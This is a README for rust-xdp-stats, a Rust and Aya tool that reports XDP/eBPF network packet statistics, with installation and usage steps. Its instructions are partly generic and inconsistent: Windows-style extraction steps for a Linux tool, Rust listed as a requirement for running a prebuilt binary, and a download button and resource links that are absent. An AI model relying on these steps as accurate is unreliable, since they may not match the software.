rust-xdp-stats is an application designed to monitor network performance using XDP (eXpress Data Path). This project replicates my original XDP Stats program written in C with a new approach in Rust and the Aya framework. It offers simple, effective insights into your network's behavior.
- High Performance: Utilizes eBPF technology to capture and analyze packets quickly.
- User-friendly Interface: Provides clear statistics on network traffic without the need for programming knowledge.
- Real-time Monitoring: View live data on your network's performance.
- Flexible Metrics: Track various network parameters like UDP, TCP, and more.
- Cross-Platform Support: Runs on various Linux distributions, making it accessible for many users.
To run rust-xdp-stats smoothly, ensure your system meets the following requirements:
- Operating System: Any modern Linux distribution.
- Required Libraries: Install the following dependencies:
- Rust programming environment (check the version with
rustc --version). - Aya framework.
- Rust programming environment (check the version with
Ensure you have a recent version of the kernel that supports XDP and eBPF features.
Follow these steps to get rust-xdp-stats up and running:
-
Visit the Releases Page: Use the button below to go to the page where you can download the application.
-
Download the Latest Version: On the Releases page, select the latest version of the rust-xdp-stats application. This will usually be labeled with the highest version number.
-
Extract Files: After downloading, locate the file in your Downloads folder. If it's a ZIP or TAR file, right-click on it and choose "Extract All" or "Extract Here" to get the usable files.
-
Open Terminal: You will need to use the terminal to run the application. Open your terminal application, which you can usually find in your applications menu.
-
Navigate to Directory: Use the
cdcommand to change directories to where you extracted the files. For example, if you extracted it to the Downloads folder, type:cd ~/Downloads/rust-xdp-stats -
Run the Application: Enter the following command in your terminal:
./rust-xdp-statsThis will start the application. Follow any on-screen instructions to configure your monitoring settings.
Once rust-xdp-stats is running, you will see a dashboard displaying various metrics. The application focuses on:
- Packet Count: Monitors incoming and outgoing packets.
- Network Interface: Choose which network interface to monitor (e.g., eth0, wlan0).
- Filters: Set up filters based on protocol (UDP, TCP) to narrow down the statistics to your needs.
If you encounter issues while running rust-xdp-stats, try the following steps:
-
Check Permissions: Ensure you have the necessary permissions to capture packets. This might require running as root or using
sudo. -
Update Dependencies: Make sure your Rust environment and any necessary libraries are up to date.
-
Consult Logs: If the application fails to start, check the terminal for any error messages and resolve them as indicated.
rust-xdp-stats is released under the MIT License. You can modify and distribute this software as long as you adhere to the licensing terms.
If you have questions or need more help, feel free to contact the support community on the repository issues page. Your feedback is invaluable for improving the software.
For more information on Rust and eBPF, consider exploring these resources:
Hope you enjoy using rust-xdp-stats to monitor and improve your network performance!